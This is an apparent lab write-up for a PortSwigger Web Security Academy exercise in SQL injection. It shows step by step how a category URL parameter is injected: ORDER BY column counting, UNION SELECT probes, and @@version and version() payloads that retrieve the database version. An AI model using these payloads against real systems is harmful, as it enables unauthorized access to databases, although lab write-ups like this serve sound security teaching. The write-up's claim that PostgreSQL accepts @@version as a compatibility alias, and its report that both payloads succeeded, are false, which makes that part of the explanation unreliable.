Skip to content

SQL Injection UNION Attack — Retrieving Database Version (MySQL / PostgreSQL)

Field Value
Platform PortSwigger Web Security Academy
Vulnerability SQL Injection — UNION Attack
Difficulty Practitioner
Injection Point category URL parameter
Goal Retrieve the database version string via UNION injection

Phase 1 — Reconnaissance

The application displays blog posts filtered by category. Selecting Pets changes the URL:

/filter?category=Pets
Screenshot
Screenshot

Phase 2 — Confirming Injection

Adding a single quote to the URL:

/filter?category=Pets'
Screenshot

Internal server error — 500 status confirmed in DevTools. The application is likely building this query:

SELECT title, body FROM post WHERE category = 'Pets'

Injecting ' breaks the syntax:

SELECT title, body FROM post WHERE category = 'Pets''

Injection confirmed.

Phase 3 — Enumerate Column Count

Using ORDER BY to determine how many columns the original query returns. Starting high:

/filter?category=Pets' ORDER BY 6 -- -
Screenshot

Error. Reducing down to 2:

/filter?category=Pets' ORDER BY 2 -- -
Screenshot

200 OK — the query returns exactly 2 columns.

Phase 4 — Test Column Data Types and DB Fingerprint

Testing both columns with string placeholders:

/filter?category=Pets' UNION SELECT 'a','b' -- -
Screenshot

This worked without needing FROM dual — which immediately rules out Oracle. Oracle mandates a FROM clause in every SELECT; if plain UNION SELECT 'a','b' -- - succeeds, the backend is not Oracle. The candidates are MySQL, PostgreSQL, or Microsoft SQL Server.

Phase 5 — Retrieve the Database Version

Each database engine exposes its version through different syntax. From the cheat sheet:

-- Microsoft SQL Server / MySQL
SELECT @@version

-- PostgreSQL
SELECT version()

Testing MySQL/MSSQL syntax first:

/filter?category=Pets' UNION SELECT 'a',@@version -- -

Then PostgreSQL:

/filter?category=Pets' UNION SELECT 'a',version() -- -
Screenshot
Screenshot

Both worked — both @@version and version() returned output. This is because PostgreSQL supports @@version as an alias for compatibility, so both syntaxes can succeed on a PostgreSQL backend. The version string in the response confirms which engine is actually running.

Lab solved.

Conclusion

  1. A single quote in category caused a 500 error, confirming unsanitized input passed into the SQL query.
  2. ORDER BY enumeration confirmed the query returned 2 columns.
  3. UNION SELECT 'a','b' -- - succeeded without FROM dual — immediately ruling out Oracle, since Oracle mandates a FROM clause.
  4. Testing @@version and version() in the second column returned the database version string in the response body, solving the lab.

Key Concepts

Absence of FROM dual requirement as a fingerprint — in the previous lab, the error on UNION SELECT 'a','b' -- - revealed Oracle. Here, the success of the same payload without FROM dual eliminated Oracle. Negative signals fingerprint the DB just as effectively as positive ones.

Version syntax by database engine:

Database Version Syntax
Oracle SELECT banner FROM v$version
MySQL SELECT @@version
Microsoft SQL Server SELECT @@version
PostgreSQL SELECT version()

Why both @@version and version() can work on PostgreSQL — PostgreSQL implements @@version as a compatibility alias. When both syntaxes succeed, read the version string itself to confirm the engine. The string format is distinctive: PostgreSQL outputs something like PostgreSQL 12.x on x86_64..., while MySQL outputs 8.x.x-....

Testing order matters — always try the non-Oracle syntax first after confirming FROM dual is not required. Start with @@version (covers MySQL and MSSQL with a single payload), then try version() if it fails. This minimizes the number of requests needed to identify the backend.